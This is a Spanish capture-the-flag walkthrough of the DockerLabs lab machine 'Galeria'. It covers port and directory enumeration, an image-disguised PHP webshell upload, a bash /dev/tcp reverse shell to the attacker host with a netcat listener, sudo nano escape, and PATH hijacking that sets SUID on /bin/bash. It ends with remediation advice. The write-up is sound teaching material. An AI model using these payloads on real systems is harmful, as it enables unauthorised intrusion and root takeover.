Galeria

Introducción

En este artículo documentamos la resolución completa de la máquina virtual Galeria, creada por Raul A y catalogada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible y didáctica, explicando qué se hizo, por qué y cómo detectar patrones similares en otras máquinas.

El proceso se organiza en tres fases:

1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
2. Explotación – Obtención de acceso inicial mediante una vulnerabilidad de subida de archivos.
3. Escalada de privilegios – Uso de binarios mal configurados (sudo) y manipulación del PATH para alcanzar privilegios de root.

⚠️ Nota: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de entornos autorizados.

---

Información general

Atributo	Detalle
Nombre	Galeria
Autor	Raul A
Dificultad	Fácil
Fecha de creación	13/05/2025
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

1. Descargar y descomprimir el paquete desde DockerLabs:

   unzip Galeria.zip

2. Desplegar el contenedor con el script incluido:

   sudo bash auto_deploy.sh Galeria.tar

El script levanta un contenedor Docker con los servicios necesarios y muestra la IP asignada al finalizar. Guarda esta IP, ya que se usará durante toda la explotación.

---

Paso 1 — Reconocimiento

1.1 Organización de trabajo

Primero, creamos una estructura de directorios para mantener los archivos ordenados:

mkdir -p Galeria/{content,exploits,nmap,scripts}
cd Galeria

Mantener un árbol de trabajo ordenado facilita la trazabilidad y redacción posterior del informe.

---

1.2 Escaneo de puertos

Ejecutamos un escaneo completo con Nmap para identificar los servicios activos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos detectados (usando el script extractPorts o grep manualmente):

extractPorts allPorts

Resultados relevantes:

• Puerto 21 – FTP
• Puerto 80 – HTTP (galería web principal)

---

1.3 Enumeración web

Utilizamos Gobuster para identificar directorios y archivos expuestos:

gobuster dir -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js -t 200 -o gobuster.txt

Rutas identificadas:

• /index — Página principal de la galería.
• /gallery — Galería de imágenes (contenido dinámico).

---

Paso 2 — Explotación

Durante la enumeración observamos un archivo interesante: handler.php, que permite subir imágenes.

Probamos si el sistema valida el tipo de archivo y descubrimos que no hay filtrado adecuado, por lo que es posible subir archivos .php con contenido ejecutable.

Creamos una webshell encubierta con encabezado de imagen (para evadir validaciones superficiales):

\xFF\xD8\xFF\xE0
<?=`$_GET[0]`?>

Subimos el archivo como shell.php y verificamos que aparece listado en la página de subida:

Al acceder a la URL:

http://172.17.0.2/gallery/uploads/images/shell.php?0=id

obtenemos ejecución remota de comandos (RCE):

Ahora establecemos una reverse shell hacia nuestra máquina atacante:

bash -i >& /dev/tcp/172.17.0.1/443 0>&1

(Recuerda urlencodear el payload antes de enviarlo por GET).

En nuestro host local escuchamos con Netcat:

nc -lvnp 443

Una vez ejecutado, obtenemos acceso como www-data:

---

2.1 Estabilización de la TTY

Para una shell más funcional (capaz de usar sudo, nano, su, etc.):

script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset
export TERM=xterm
export SHELL=bash

Con esto la terminal se comporta como una shell interactiva completa.

---

Paso 3 — Escalada de privilegios

3.1 Enumeración con sudo -l

Ejecutamos:

sudo -l

El resultado indica que el usuario www-data puede ejecutar /bin/nano como el usuario gallery.

Entramos en nano y aprovechamos su capacidad de ejecución de comandos:

sudo -u gallery /bin/nano
# Dentro de nano:
CTRL+R CTRL+X
# Luego escribir:
reset; sh 1>&0 2>&0

🔎 Si el atajo CTRL+R CTRL+X no responde, asegúrate de que la shell esté correctamente estabilizada (sin rlwrap ni terminales limitadas).

Ya tenemos una shell como usuario gallery.

---

3.2 Escalada final a root

Ejecutamos nuevamente sudo -l:

Vemos que el usuario gallery puede ejecutar el binario /usr/local/bin/runme como root.

Al ejecutarlo:

sudo /usr/local/bin/runme

recibimos un error que indica que no encuentra el binario convert:

Esto sugiere una vulnerabilidad de PATH hijacking, es decir, el programa busca convert en el PATH actual. Podemos aprovecharlo creando un binario malicioso con el mismo nombre.

Primero, modificamos el PATH para priorizar el directorio actual:

export PATH=/home/gallery:$PATH

Luego creamos un falso binario convert:

echo '#!/bin/bash
chmod u+s /bin/bash' > /home/gallery/convert
chmod +x /home/gallery/convert

Finalmente, ejecutamos el binario vulnerable como root:

sudo /usr/local/bin/runme
bash -p

Y obtenemos acceso root 🎉

---

Conclusión y aprendizajes

Cadena de explotación (resumen)

1. Subida insegura de archivos en handler.php → ejecución remota de comandos (RCE).
2. sudo mal configurado → escalada de www-data a gallery mediante nano.
3. Binario runme vulnerable al PATH hijacking → escalada final a root.

---

Fallos de seguridad identificados

• Falta de validación en la subida de archivos.
• Permisos sudo excesivos para usuarios no privilegiados.
• Ejecución de binarios con rutas inseguras (PATH manipulable).

---

Recomendaciones (remediación)

• Validar correctamente los tipos de archivo y extensiones permitidas.
• Restringir el uso de sudo a binarios estrictamente necesarios.
• Usar rutas absolutas en scripts ejecutados con privilegios elevados.
• Aplicar el principio de mínimo privilegio en todo el entorno.